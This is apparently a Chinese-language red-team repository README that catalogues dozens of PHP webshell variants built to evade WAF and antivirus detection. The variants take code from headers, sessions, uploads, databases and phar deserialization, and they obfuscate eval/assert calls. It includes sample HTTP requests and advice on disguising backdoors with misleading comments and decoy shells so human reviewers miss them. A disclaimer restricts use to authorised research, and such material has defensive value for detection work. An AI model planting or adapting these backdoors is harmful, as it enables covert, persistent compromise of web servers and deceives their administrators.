- 在对方未授权的情况下,直接或间接利用本项目涉及到的研究样本攻击目标是违法行为.
- 本项目涉及到的样本仅为安全研究和授权情况下使用,其使用人员有责任和义务遵守当地法律条规.
- 本项目涉及到的样本及文章仅为促进安全防御研究使用,研究人员对因误用该程序造成的资产损坏和损失概不负责.
红蓝对抗中,常常遇到waf。此项目讨论的就是红蓝对抗中的免杀环节。
此项目虽然是免杀shell,但跟代码审计密切相关,有些免杀方法就是真实漏洞的一部分简化,故打算长期沉淀,把自己看到、想到的更新在此。
大概如下四部分:
1、source
2、数据流
3、sink
4、面向人的免杀
这里有的一提的是面向人的免杀,检测工具易过,但是人一看就看得出来。所以也是要免杀人的。
GET /shell/xx.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 2
code: phpinfo();
Connection: close
<?php
eval($_SERVER['HTTP_CODE']);
POST /shell/xx.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 180
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Origin: http://127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjm8AolGAXiYuOHE9
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
------WebKitFormBoundaryjm8AolGAXiYuOHE9
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: phpinfo()
11
------WebKitFormBoundaryjm8AolGAXiYuOHE9--
<?php
assert($_FILES['file']['type']);
<?php
eval($GLOBALS[_POST][code]);
通过end(get_defined_vars()[_POST])获取
assert(end(get_defined_vars()[_POST]));
<?php if($_SERVER[123]){eval(end(get_defined_vars()[_POST]));};?>
<?php
@$GLOBALS{next} = $GLOBALS[$GLOBALS[func] = current($GLOBALS)[GLOBALS]] = $GLOBALS[$GLOBALS[code] = next($GLOBALS)[GLOBALS]] = $GLOBALS[$GLOBALS{func}($GLOBALS{code})];
?>
还有 smb \127.0.0.1\1.txt ftp 等等各种获取
--
-- 表的结构 `code`
--
CREATE TABLE IF NOT EXISTS `code` (
`code` varchar(255) COLLATE utf8mb4_bin NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin;
--
-- 转存表中的数据 `code`
--
INSERT INTO `code` (`code`) VALUES
('phpinfo();');
<?php
eval(mysqli_fetch_assoc(mysqli_query(mysqli_connect('127.0.0.1','root','root','shell'),'select * from code'))['code']);
<?php
eval(file_get_contents("http://127.0.0.1/1.txt"));
?>
需要开启allow_url_include
eval("php://input");
<?php
file_put_contents("shell.txt",$_POST[1]);
$code = file_get_contents("shell.txt");
eval($code);
include "data:text/plain,<?php $_POST[1];?>";
d盾0级
<?php
include "data:text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+.php";
<?php
session_id('shell');
session_start();
$_SESSION["username"]="<?php ".$_POST[1]."?>";
session_write_close();
include session_save_path().'/sess_shell';
GET /shell/xx.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 0
Connection: close
Cookie: PHPSESSID=706870696e666f28293b
<?php
session_start();
eval(hex2bin(session_id()));
?>
<?php
$temp = tmpfile();
print_r($temp);
fwrite($temp, $_POST[1]);
rewind($temp);
//phpD722.tmp
eval(fread($temp,100));
<?php
error_log("<?php phpinfo();?>", 3, "./test.php");
include "test.php";
?>
sys_get_temp_dir()
<?php
$filename = $_FILES['file']['tmp_name'];
include $filename;
需要条件竞争,php脚本无权限设置cleanup为0
POST /shell/xx.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 64016
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOAAgdsu072sFLxAt
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=test
Connection: close
------WebKitFormBoundaryOAAgdsu072sFLxAt
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
<?php phpinfo();?>
------WebKitFormBoundaryOAAgdsu072sFLxAt
Content-Disposition: form-data; name="file1"; filename="lufei.txt"
Content-Type: application/x-zip-compressed
33333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333
------WebKitFormBoundaryOAAgdsu072sFLxAt--
<?php
include session_save_path().'/sess_test';
<?php
eval(rtrim(...$_POST));
?>
<?php
eval(false ? 1 : $_POST[1]);
?>
php 5.6测试成功。
<?php
$code = $_POST[1];
$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}';
$outer_array = unserialize($serialized_string);
gc_collect_cycles();
$filler1 = "aaaa";
$filler2 = &$code;
eval($outer_array);
?>
1.php
<?php
$code = $_GET[1];
?>
2.php
include "1.php";
eval($code);
<?php
$c = array();
array_push($c,$_POST[1]);
eval($c[0]);
?>
<?php
parse_str("code=$_POST[1]");
eval($code);
?>
<?php
foreach ($_POST as $key => $value) {
${$key} = $value;
}
eval($code);
?>
<?
extract($_GET).$a($b);
<?php
$code=$_POST[1];
$s=base64_decode('YToyOntpOjE7czo2OiJhc3NlcnQiO2k6MjtzOjEwOiJwaHBpbmZvKCk7Ijt9');
$o = unserialize($s);
$o[1]($code);
?>
<?php
class Evil {
public function __destruct(){
eval($_GET[1]);
}
}
$filename = session_save_path()."\poc.jpg";
$base64_content = "R0lGODlhPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQpEAAAAAQAAABEAAAABAAAAAAAPAAAATzo0OiJFdmlsIjowOnt9BwAAAGZvby50eHQDAAAAwuwKXgMAAACqjP92tgEAAAAAAABiYXKom9RaUZXhHL4WJYxruh//z4dpZQIAAABHQk1C";
$file = fopen($filename, "w");
fwrite($file,base64_decode($base64_content));
fclose($file);
is_file("phar://".$filename);
?>
<?php
class Wrapper{
public $evil;
function __destruct() {
$evil = new Evil();
$evil->func = $_GET['func'];
$evil->code = $_POST[1];
$evil."11";
}
}
Class Evil{
public $func;
public $code;
function __toString() {
call_user_func($this->func,$this->code);
return "";
}
}
$warpper = new Wrapper();
?>
https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html
$e = $_REQUEST['e'];
$arr = array($_POST[1],);
array_filter($arr, $e);
<?php
$func = new class('assert') extends ReflectionFunction{};
$func->invoke($_POST[1]);
?>
trait Evilable {
public function test($code){
eval($code);
}
}
class Legal{
use Evilable;
}
$evil = new Legal();
$evil->test($_POST[1]);
数据源来于类属性
trait Evilable {
public $code;
public function test(){
eval($this->code);
}
}
class Legal{
use Evilable;
}
$evil = new Legal();
$evil->code = $_POST[1];
$evil->test($evil->code);
<?php
class Evil {
public $code;
public function test(){
eval($this->code);
}
}
class ClassFactory {
public function getObject($className){
return new $className;
}
}
$classFactory = new ClassFactory();
$evil = $classFactory->getObject("Evil");
$evil->code = $_POST[1];
$evil->test();
?>
<?php
class Chain{
public $level;
public $next;
public function doChain($level,$nothing){
if($this->level==$level){
$this->doit($nothing);
}
if($this->next!=null){
$this->next->doChain($level,$nothing);
}
}
public function doit($nothing){
}
}
class Legal extends Chain{
public function __construct(){
$this->level=1;
}
public function doit($nothing){
echo $code;
}
}
class Evil extends Chain{
public $code;
public function __construct(){
$this->level=2;
}
public function doit($nothing){
eval($this->code);
}
}
$legal = new Legal();
$evil = new Evil();
$legal->next = $evil;
$evil->next = null;
$evil->code = $_POST[1];
$legal->doChain(2,"");
?>
代码执行的sink和代码流这块有点区别,执行任意代码的属于sink,执行指定代码的是代码流。
php7
<?php
"\x61\x73\x73\x65\x72\x74"($_POST[1]);
?>
$func = 'as'.'sert';
$func($_POST[1]);
<?php
$code = "eval($####_POST####[1]);";
$code = str_replace("####","",$code);
eval($code);
?>
<?php
// $func = urlencode(~("assert"));
// print($func);//%9E%8C%8C%9A%8D%8B
$func = "%9E%8C%8C%9A%8D%8B";
$func = ~urldecode($func);
$func($_POST[1]);
?>
https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, $e);
include('1.txt')
$code = $_POST[1];
$data = "xxxxxxx{${eval($code)}}xxxxxx";
<?php
$func = "system";
$cmd = $_POST[1];
ob_start($func);
echo $cmd;
ob_end_flush();
?>
<?php
$code = $_POST[1];
create_function('','1;}eval("'.$code.'");/*');
?>
<?php
$item['func'] = 'assert';
$item['func']($_POST[1]);
?>
<?php
$item['func'] = 'assert';
$array[] = $item;
$array[0]['func']($_POST[1]);
?>
<?php
$arr = get_defined_functions()['internal'];
print_r(get_defined_functions()['internal']);
echo $arr[841]; //每个版本的assert数字不同, php版本5.6.27为850
$arr[841]($_POST[1]);
$func = new ReflectionFunction('assert');
print_r($func->invoke($_POST[1]));
php7
<?php
use function \assert as test;
test($_POST[1]);
?>
php5.3测试成功
<?php
@eval\($_POST['code']);
?>
5.5 7.0 不再支持/e
<?php
@preg_replace('@(.*)@e','\\1',$_REQUEST[1]);
?>
这块随便把流量编码或者加密
//1=cGhwaW5mbygpOw==
<?php
eval(base64_decode($_POST[1]));
?>
自己的程序可以不写注释,shell一定要写个假注释
//实例化对象的工厂与测试代码,千万别删除,可能程序导致崩溃或者莫名其妙的bug
<?php
class Test {
public $code;
public function test(){
eval($this->code);
}
}
class ClassFactory {
public function getObject($className){
return new $className;
}
}
$classFactory = new ClassFactory();
$test = $classFactory->getObject("Test");
$test->code = $_POST[1];
$test->test();
?>
5.5 7.0不再支持/e
<?php
function filter()
{
// TODO 其他安全过滤
// 过滤查询特殊字符
@preg_replace('@test|(.*)|EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN|@e','\\1',$_POST[1]);
}
filter();
?>
插入在比较长的函数代码中
function filter()
{
$func = 'as'.'sert';
//其他n多代码
$code = $_POST[1];
//其他n多代码
$func($code);
}
filter();
<?php
$ill = $_POST[1];
//其他代码
//.....
//下面两行代码挨着写
$il1 = "echo 'php test'";
eval($ill);
暴露一个明显而隐晦,白色中带黑色shell,另外一个文件写入真正的shell。
//另外一个文件写真正的shell
//密码是1
$code = "eval($####_POST####[1]);";
$code = str_replace("####","",$code);
eval($code);
maple、SkyBlue永恒、新仙剑之鸣、anlfi、mochazz、yzddMr6s、JamVayne、UltramanGaia、phith0n、Laruence等发过的文章。